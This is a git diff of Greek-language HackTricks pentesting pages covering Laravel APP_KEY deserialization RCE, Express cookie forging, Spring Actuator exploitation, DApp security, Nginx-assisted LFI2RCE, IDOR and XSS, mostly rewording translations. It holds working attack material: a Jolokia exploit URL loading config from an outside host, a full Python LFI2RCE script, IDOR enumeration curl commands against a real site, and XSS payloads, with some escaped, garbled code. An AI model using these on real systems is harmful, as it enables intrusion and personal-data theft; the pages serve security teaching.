Laravel SQLInjection Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + ### Laravel SQLInjection Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) @@ -205,7 +203,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ``` `encrypt($value, $serialize=true)` θα `serialize()` το απλό κείμενο από προεπιλογή, ενώ `decrypt($payload, $unserialize=true)` **θα αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή. -Επομένως **οποιοσδήποτε επιτιθέμενος γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**. +Επομένως **οποιοσδήποτε επιτιθέμενος που γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**. Ελάχιστο PoC (framework ≥9.x): ```php @@ -234,7 +232,7 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt --- -## Πραγματικοί ευάλωτοι τύποι +## Πραγματικά ευάλωτα μοτίβα | Έργο | Ευάλωτη πηγή | Αλυσίδα gadget | |---------|-----------------|--------------| @@ -252,15 +250,15 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie -Επειδή κάθε νέα απάντηση Laravel ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν offline. +Επειδή κάθε νέα απάντηση Laravel ρυθμίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν offline. Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025): * Dataset Ιούλιος 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k) * Dataset Μάιος 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα** -* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε κληρονομημένο CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα. +* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε κληρονομικό CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα. * Μεγάλη επαναχρησιμοποίηση κλειδιών – τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα προεπιλεγμένα που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …). -Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη κωδικοποίηση dataset σε <2 λεπτά. +Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη βάση δεδομένων σε <2 λεπτά. --- @@ -268,6 +266,6 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt * [Laravel: Ανάλυση διαρροής APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2018-15133 αναφορά (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index f2fe33a8d..4644d1ef2 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,6 +1,6 @@ # NodeJS Express -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Υπογραφή Cookie @@ -14,18 +14,18 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session ```bash cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst ``` -### Δοκιμή πολλαπλών cookies χρησιμοποιώντας τη λειτουργία παρτίδας +### Δοκιμή πολλαπλών cookies χρησιμοποιώντας τη λειτουργία batch ```bash cookie-monster -b -f cookies.json ``` -### Δοκιμή πολλαπλών cookies χρησιμοποιώντας λειτουργία batch με μια προσαρμοσμένη λίστα λέξεων +### Δοκιμή πολλαπλών cookies χρησιμοποιώντας τη λειτουργία batch με μια προσαρμοσμένη λίστα λέξεων ```bash cookie-monster -b -f cookies.json -w custom.lst ``` -### Encode and sign a new cookie +### Κωδικοποιήστε και υπογράψτε ένα νέο cookie Αν γνωρίζετε το μυστικό, μπορείτε να υπογράψετε το cookie. ```bash cookie-monster -e -f new_cookie.json -k secret ``` -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 74eb5e15d..9a72d1759 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -23,13 +23,13 @@ 1. **Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia'**: - Το endpoint `/jolokia` εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans. -- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατεργασμένων XML ρυθμίσεων. +- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων. - Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**: - Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων. - Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL. -- Παράδειγμα αίτησης POST εκμετάλλευσης: +- Παράδειγμα POST αίτησης εκμετάλλευσης: ``` POST /env HTTP/1.1 @@ -62,8 +62,3 @@ Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}} - - - - -{{#include /banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md index 3bdbabb71..68176557d 100644 --- a/src/pentesting-web/dapps-DecentralizedApplications.md +++ b/src/pentesting-web/dapps-DecentralizedApplications.md @@ -1,10 +1,10 @@ -# DApps - Decentralized Applications +# DApps - Αποκεντρωμένες Εφαρμογές -{{#include ../../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} -## Τι είναι ένα DApp; +## Τι είναι μια DApp; -Ένα DApp είναι μια αποκεντρωμένη εφαρμογή που λειτουργεί σε ένα δίκτυο peer-to-peer, αντί να φιλοξενείται σε έναν κεντρικό διακομιστή. Τα DApps συνήθως κατασκευάζονται πάνω σε **τεχνολογία blockchain**, η οποία θα πρέπει να επιτρέπει τη διαφάνεια, την ασφάλεια και την αμεταβλητότητα των δεδομένων. +Μια DApp είναι μια αποκεντρωμένη εφαρμογή που λειτουργεί σε ένα δίκτυο peer-to-peer, αντί να φιλοξενείται σε έναν κεντρικό διακομιστή. Οι DApps συνήθως κατασκευάζονται πάνω σε **τεχνολογία blockchain**, η οποία θα πρέπει να επιτρέπει τη διαφάνεια, την ασφάλεια και την αμεταβλητότητα των δεδομένων. ## Αρχιτεκτονική Web3 DApp @@ -12,19 +12,19 @@ ### "API-less" DApps -Αυτά τα DApps είναι κατασκευασμένα πάνω σε ένα blockchain και δεν βασίζονται σε κανένα κεντρικό API ή backend. Μπορείτε να σκεφτείτε ότι το blockchain είναι το πραγματικό backend της εφαρμογής. Είναι **εντελώς αποκεντρωμένα** και μπορούν να προσπελαστούν απευθείας μέσω του blockchain. +Αυτές οι DApps είναι κατασκευασμένες πάνω σε ένα blockchain και δεν βασίζονται σε κανένα κεντρικό API ή backend. Μπορείτε να σκεφτείτε ότι το blockchain είναι το πραγματικό backend της εφαρμογής. Είναι **εντελώς αποκεντρωμένες** και μπορούν να προσπελαστούν απευθείας μέσω του blockchain. Για να αλληλεπιδράσει με το blockchain, ο πελάτης θα χρησιμοποιήσει συνήθως ένα **πορτοφόλι**. Το πορτοφόλι θα υπογράψει τις συναλλαγές και θα τις στείλει στο blockchain. Ο πελάτης μπορεί επίσης να χρησιμοποιήσει έναν **κόμβο** για να διαβάσει δεδομένα από το blockchain. ### "API-Enabled" DApps -Αυτά τα DApps είναι κατασκευασμένα πάνω σε ένα blockchain αλλά βασίζονται επίσης σε κεντρικά APIs συνήθως για να συγκεντρώσουν πληροφορίες. Είναι **κυρίως αποκεντρωμένα** επειδή, ακόμη και αν βασίζονται σε ένα κεντρικό API, η βασική λειτουργικότητα του DApp παραμένει στο blockchain. Η επικοινωνία του πελάτη με το blockchain γίνεται συνήθως μέσω ενός **πορτοφολιού**. +Αυτές οι DApps είναι κατασκευασμένες πάνω σε ένα blockchain αλλά βασίζονται επίσης σε κεντρικά APIs συνήθως για να συγκεντρώσουν πληροφορίες. Είναι **κυρίως αποκεντρωμένες** επειδή, ακόμη και αν βασίζονται σε ένα κεντρικό API, η βασική λειτουργικότητα της DApp παραμένει στο blockchain. Η επικοινωνία του πελάτη με το blockchain γίνεται συνήθως μέσω ενός **πορτοφολιού**. Ένα καλό παράδειγμα αυτού του τύπου DApp είναι μια **εφαρμογή minting NFT**. Ο διακομιστής επιτρέπει την ανάρτηση των εικόνων, αλλά η minting γίνεται από τον πελάτη μέσω ενός πορτοφολιού. ### "Full-Scale" DApps -Αυτά τα DApps είναι κατασκευασμένα πάνω σε ένα blockchain αλλά βασίζονται επίσης σε κεντρικά APIs και διακομιστές backend. Μπορεί να είναι **μερικώς αποκεντρωμένα** καθώς ο πελάτης μπορεί να είναι σε θέση να εκτελεί λειτουργίες στο blockchain χρησιμοποιώντας ένα πορτοφόλι. Ωστόσο, συνήθως το **backend θα είναι επίσης σε θέση να εκτελεί λειτουργίες στο blockchain**. +Αυτές οι DApps είναι κατασκευασμένες πάνω σε ένα blockchain αλλά βασίζονται επίσης σε κεντρικά APIs και διακομιστές backend. Μπορεί να είναι **μερικώς αποκεντρωμένες** καθώς ο πελάτης μπορεί να είναι σε θέση να εκτελεί λειτουργίες στο blockchain χρησιμοποιώντας ένα πορτοφόλι. Ωστόσο, συνήθως το **backend θα είναι επίσης σε θέση να εκτελεί λειτουργίες στο blockchain**. Ένα καλό παράδειγμα αυτού του τύπου DApp είναι μια γέφυρα cross-chain όπου απαιτείται ένα offchain στοιχείο για να **επικοινωνήσει με έξυπνες συμβάσεις σε διαφορετικά blockchains** για να εκτελέσει τη μεταφορά περιουσιακών στοιχείων. @@ -32,23 +32,23 @@ Οι ευπάθειες Web2 επηρεάζουν ακόμα αυτούς τους τύπους εφαρμογών, αν και η επίδρασή τους μπορεί να διαφέρει: -- Οι **ευπάθειες πλευράς πελάτη** έχουν αυξημένη επίδραση καθώς στα Web3 DApps ο πελάτης είναι συνήθως αυτός που **εκτελεί τις λειτουργίες στο blockchain** μέσω ενός πορτοφολιού. Αυτό σημαίνει ότι επιθέσεις όπως το XSS που καταφέρνουν να εκτελέσουν κώδικα JS στην πλευρά του πελάτη ή που παραποιούν το περιεχόμενο της σελίδας μπορούν να έχουν μεγαλύτερη επίδραση καθώς μπορούν να **αλληλεπιδράσουν με το πορτοφόλι** και να πείσουν τον χρήστη να εκτελέσει ανεπιθύμητες λειτουργίες στο blockchain. +- Οι **ευπάθειες πλευράς πελάτη** έχουν αυξημένη επίδραση καθώς στις Web3 DApps ο πελάτης είναι συνήθως αυτός που **εκτελεί τις λειτουργίες στο blockchain** μέσω ενός πορτοφολιού. Αυτό σημαίνει ότι επιθέσεις όπως το XSS που καταφέρνουν να εκτελέσουν κώδικα JS στην πλευρά του πελάτη ή που παραποιούν το περιεχόμενο της σελίδας μπορούν να έχουν μεγαλύτερη επίδραση καθώς μπορούν να **αλληλεπιδράσουν με το πορτοφόλι** και να πείσουν τον χρήστη να εκτελέσει ανεπιθύμητες λειτουργίες στο blockchain. - Σημειώστε ότι συνήθως ακόμη και σε αυτούς τους τύπους εφαρμογών ο πελάτης μπορεί να ελέγξει τις λειτουργίες πριν τις υπογράψει με το πορτοφόλι. Ωστόσο, αν ο επιτιθέμενος είναι σε θέση να παραποιήσει το περιεχόμενο της σελίδας, μπορεί να πείσει τον χρήστη να υπογράψει μια συναλλαγή που θα εκτελέσει μια ανεπιθύμητη λειτουργία στο blockchain. -- Οι **ευπάθειες πλευράς διακομιστή** είναι ακόμα παρούσες στα DApps που βασίζονται σε έναν διακομιστή backend. Η επίδραση αυτών των ευπαθειών θα εξαρτηθεί από την αρχιτεκτονική του DApp. Ωστόσο, μπορεί να είναι πολύ προβληματικές καθώς ένας επιτιθέμενος μπορεί να βρει στο backend **κλειδιά της εταιρείας** για να αποκτήσει πρόσβαση στα κεφάλαια των έξυπνων συμβάσεων ή μπορεί να εκτελέσει κατάληψη λογαριασμού που μπορεί να τους επιτρέψει να κλέψουν κεφάλαια ή NFTs από τους χρήστες. +- Οι **ευπάθειες πλευράς διακομιστή** είναι ακόμα παρούσες στις DApps που βασίζονται σε έναν διακομιστή backend. Η επίδραση αυτών των ευπαθειών θα εξαρτηθεί από την αρχιτεκτονική της DApp. Ωστόσο, μπορεί να είναι πολύ προβληματικές καθώς ένας επιτιθέμενος μπορεί να βρει στο backend **κλειδιά της εταιρείας** για να αποκτήσει πρόσβαση στα κεφάλαια των έξυπνων συμβάσεων ή μπορεί να εκτελέσει κατάληψη λογαριασμού που μπορεί να τους επιτρέψει να κλέψουν κεφάλαια ή NFTs από τους χρήστες. -Φυσικά, αν το DApp δεν χρησιμοποιεί backend ή αν το backend που χρησιμοποιείται προσφέρει μόνο δημόσια δεδομένα αλυσίδας ή στατικές σελίδες, η επιφάνεια επίθεσης του DApp μειώνεται. +Φυσικά, αν η DApp δεν χρησιμοποιεί backend ή αν ο backend που χρησιμοποιείται προσφέρει μόνο δημόσια δεδομένα αλυσίδας ή στατικές σελίδες, η επιφάνεια επίθεσης της DApp μειώνεται. ## Επιφάνεια επίθεσης Web3 -Ακόμα και αν γενικά ένα DApp έχει μειωμένη επιφάνεια επίθεσης καθώς γίνονται πάντα αρκετοί έλεγχοι ασφαλείας στο blockchain, υπάρχουν ακόμα ορισμένα επιθετικά διανύσματα που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι. +Ακόμα και αν γενικά μια DApp έχει μειωμένη επιφάνεια επίθεσης καθώς γίνονται πάντα αρκετοί έλεγχοι ασφαλείας στο blockchain, υπάρχουν ακόμα μερικοί επιθετικοί άξονες που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι. Είναι δυνατόν να ομαδοποιηθούν οι ευπάθειες των web3 DApps στις εξής κατηγορίες: -- **Κακώς διαχειριζόμενες On-Chain Συναλλαγές**: εσφαλμένα μορφοποιημένα ή χωρίς περιορισμούς APIs συναλλαγών, έλλειψη λογικής αναμονής απάντησης και επιβεβαίωσης μπλοκ, έκθεση ευαίσθητων δεδομένων και ακατάλληλη διαχείριση αποτυχημένων, αντεστραμμένων ή εσωτερικά τυποποιημένων συναλλαγών που επιτρέπουν κακόβουλες ενέσεις δεδομένων. +- **Κακώς διαχειριζόμενες Συναλλαγές On-Chain**: εσφαλμένα μορφοποιημένα ή χωρίς περιορισμούς APIs συναλλαγών, έλλειψη λογικής αναμονής απάντησης και επιβεβαίωσης μπλοκ, έκθεση ευαίσθητων δεδομένων και ακατάλληλη διαχείριση αποτυχημένων, αναστραμμένων ή εσωτερικά τυποποιημένων συναλλαγών που επιτρέπουν κακόβουλες εισαγωγές δεδομένων. - **Επιθέσεις Backend που καθοδηγούνται από Έξυπνες Συμβάσεις**: αποθήκευση ή συγχρονισμός ευαίσθητων δεδομένων μεταξύ συμβάσεων και βάσεων δεδομένων χωρίς επικύρωση, μη ελεγχόμενες εκπομπές γεγονότων ή διευθύνσεις συμβάσεων και εκμεταλλεύσιμες ευπάθειες συμβάσεων που μπορούν να δηλητηριάσουν τη λογική του backend. -- **Ελαττωματικές Λειτουργίες Κρυπτονομισμάτων**: εσφαλμένη επεξεργασία διαφορετικών τύπων tokens (native vs. ERC-20), αγνόηση της δεκαδικής ακρίβειας, αποτυχημένες μεταφορές ή εσωτερικές συναλλαγές και αποδοχή ψεύτικων, αποπληθωριστικών, αναδιορθωτικών ή επιρρεπών σε slippage tokens χωρίς επικύρωση, επιτρέποντας ενέσεις payload μέσω μεταδεδομένων token. +- **Ελαττωματικές Λειτουργίες Κρυπτονομισμάτων**: εσφαλμένη επεξεργασία διαφορετικών τύπων tokens (native vs. ERC-20), αγνόηση της δεκαδικής ακρίβειας, αποτυχημένες μεταφορές ή εσωτερικές συναλλαγές και αποδοχή ψεύτικων, αποπληθωριστικών, rebase ή tokens που είναι επιρρεπή σε slippage χωρίς επικύρωση, επιτρέποντας εισαγωγές payload μέσω μεταδεδομένων token. Ορισμένα παραδείγματα από [**αυτή την ανάρτηση**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications): @@ -62,7 +62,7 @@ ### Backend<-->Blockchain desync - Συνθήκη αγώνα -Στο σενάριο **`Poor Transaction Time Handling Leads to Race Condition`**, εξηγείται ότι σε ένα παιχνίδι ήταν δυνατό για τον χρήστη να στείλει ένα αίτημα ανάληψης στο backend το οποίο θα στείλει στον χρήστη τα νομίσματά του, αλλά ενώ η συναλλαγή ήταν ακόμα σε επεξεργασία, ο χρήστης ήταν σε θέση να χρησιμοποιήσει αυτά τα νομίσματα για να αγοράσει αντικείμενα στο παιχνίδι, αποκτώντας τα δωρεάν. +Στο σενάριο **`Poor Transaction Time Handling Leads to Race Condition`**, εξηγείται ότι σε ένα παιχνίδι ήταν δυνατό για τον χρήστη να στείλει ένα αίτημα ανάληψης στο backend το οποίο θα στείλει στον χρήστη τα νομίσματά του, αλλά ενώ η συναλλαγή εξακολουθούσε να επεξεργάζεται, ο χρήστης ήταν σε θέση να χρησιμοποιήσει αυτά τα νομίσματα για να αγοράσει αντικείμενα στο παιχνίδι, αποκτώντας τα δωρεάν. Ένα άλλο παράδειγμα θα μπορούσε να είναι η δυνατότητα χρήσης των ίδιων νομισμάτων για την αγορά διαφορετικών αντικειμένων καθώς το backend δίνει αμέσως το αντικείμενο στον χρήστη χωρίς να περιμένει την επιβεβαίωση της συναλλαγής και επομένως περιμένοντας τη μείωση του υπολοίπου του χρήστη στο blockchain. @@ -77,4 +77,4 @@ ## Αναφορές - [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md index 91772aab6..c1ade8aa9 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md @@ -1,4 +1,4 @@ -# LFI2RCE μέσω προσωρινών αρχείων Nginx +# LFI2RCE via Nginx temp files {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ [**Παράδειγμα από https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) -- Κώδικας PHP: +- PHP κώδικας: ```php /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' @@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\ ## Αναφορές - [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) +``` +``` {{#include ../../banners/hacktricks-training.md}} -``` - -``` -{{#include /banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index e55554b6e..a211cbc32 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -18,7 +18,7 @@ IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOL 4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* σύνδεσμος στις σελίδες σύνδεσης) που μπορεί να αποκαλύψουν επιπλέον APIs. 5. Χρησιμοποιήστε μια **εξουσιοδοτημένη συνεδρία χαμηλών προνομίων** και αλλάξτε μόνο το ID **διατηρώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης είναι συνήθως ένδειξη IDOR. -### Γρήγορη χειροκίνητη παραποίηση (Burp Repeater) +### Γρήγορη χειροκίνητη παρέμβαση (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -37,7 +37,7 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ done ``` --- -## 2. Μελέτη Περίπτωσης από τον Πραγματικό Κόσμο – Πλατφόρμα Chatbot McHire (2025) +## 2. Μελέτη Περίπτωσης από τον Πραγματικό Κόσμο – McHire Chatbot Platform (2025) Κατά τη διάρκεια μιας αξιολόγησης της πλατφόρμας πρόσληψης **McHire** που υποστηρίζεται από το Paradox.ai, ανακαλύφθηκε το εξής IDOR: @@ -45,9 +45,9 @@ done * Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** λογαριασμό δοκιμής εστιατορίου * Body parameter: `{"lead_id": N}` – 8-ψήφιος, **διαδοχικός** αριθμητικός αναγνωριστικός -Μειώνοντας το `lead_id`, ο δοκιμαστής ανέκτησε τυχαία τα **πλήρη PII** των υποψηφίων (όνομα, email, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα **JWT** καταναλωτή που επέτρεπε την υποκλοπή συνεδρίας. Η αρίθμηση της κλίμακας `1 – 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** αρχεία. +Μειώνοντας το `lead_id`, ο δοκιμαστής ανέκτησε τυχαία πλήρη PII υποψηφίων (**όνομα, email, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας**) καθώς και ένα **JWT** καταναλωτή που επέτρεπε την υποκλοπή συνεδρίας. Η αρίθμηση της κλίμακας `1 – 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** αρχεία. -Αίτημα Απόδειξης της Έννοιας: +Αίτημα απόδειξης της έννοιας: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ @@ -59,16 +59,16 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ ## 3. Επιπτώσεις του IDOR / BOLA * Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή **δεδομένων άλλων χρηστών**. * Κατακόρυφη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργικότητα μόνο για διαχειριστές. -* Μαζική διαρροή δεδομένων αν οι ταυτοποιήσεις είναι διαδοχικές (π.χ., ταυτοποιήσεις αιτούντων, τιμολόγια). +* Μαζική διαρροή δεδομένων αν οι ταυτοποιήσεις είναι διαδοχικές (π.χ., ID αιτούντων, τιμολόγια). * Κατάληψη λογαριασμού κλέβοντας tokens ή επαναφέροντας κωδικούς πρόσβασης άλλων χρηστών. --- ## 4. Μετριασμοί & Καλές Πρακτικές 1. **Επιβολή εξουσιοδότησης σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`). -2. Προτιμήστε **έμμεσες, μη μαντεύσιμες ταυτοποιήσεις** (UUIDv4, ULID) αντί για αυτόματους αυξανόμενους αριθμούς. +2. Προτιμήστε **έμμεσες, μη μαντεύσιμες ταυτοποιήσεις** (UUIDv4, ULID) αντί για αυτόματους αυξανόμενους ID. 3. Εκτελέστε την εξουσιοδότηση **στην πλευρά του διακομιστή**, ποτέ μην βασίζεστε σε κρυφά πεδία φόρμας ή ελέγχους UI. 4. Εφαρμόστε ελέγχους **RBAC / ABAC** σε ένα κεντρικό middleware. -5. Προσθέστε **περιορισμούς ρυθμού & καταγραφή** για να ανιχνεύσετε την αρίθμηση των ταυτοποιήσεων. +5. Προσθέστε **περιορισμούς ρυθμού & καταγραφή** για να ανιχνεύσετε την αρίθμηση των ID. 6. Δοκιμάστε την ασφάλεια κάθε νέας διεπαφής (μονάδα, ολοκλήρωση και DAST). --- @@ -77,10 +77,8 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Projects στο Github**: `bwapp-idor-scanner`, `Blindy` (μαζική αναζήτηση IDOR). -{{#include ../banners/hacktricks-training.md}} - ## Αναφορές * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 54af2bed9..635dd1cc5 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -1,6 +1,6 @@ # XSS (Cross Site Scripting) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Methodology @@ -50,16 +50,16 @@ debugging-client-side-js.md ### Raw HTML Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="` -3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε 